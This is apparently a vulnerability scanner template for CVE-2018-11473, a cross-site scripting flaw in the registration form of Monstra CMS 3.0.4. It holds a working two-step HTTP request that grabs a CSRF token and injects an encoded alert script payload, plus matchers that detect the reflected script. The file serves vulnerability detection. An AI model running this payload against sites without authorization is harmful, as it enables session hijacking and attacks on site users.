id: CVE-2018-11473

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/446
    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11473
    cwe-id: CWE-79
    epss-score: 0.02273
    epss-percentile: 0.81347
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monstra
    product: monstra
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2018,xss,mostra,mostracms,cms,monstra,vuln

http:
  - raw:
      - |
        GET /users/registration HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /users/registration HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"
          - "Monstra"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body
# digest: 4a0a0047304502202d6bfcfb59a43f672a6653e84273c41a5fb0f3a8c3bbc691f161731082281f99022100f6ca83f999691dddd3a730957e7ced3bcecf6930df5040b3e5bc993e9e51d77e:922c64590222798bb761d5b6d8e72950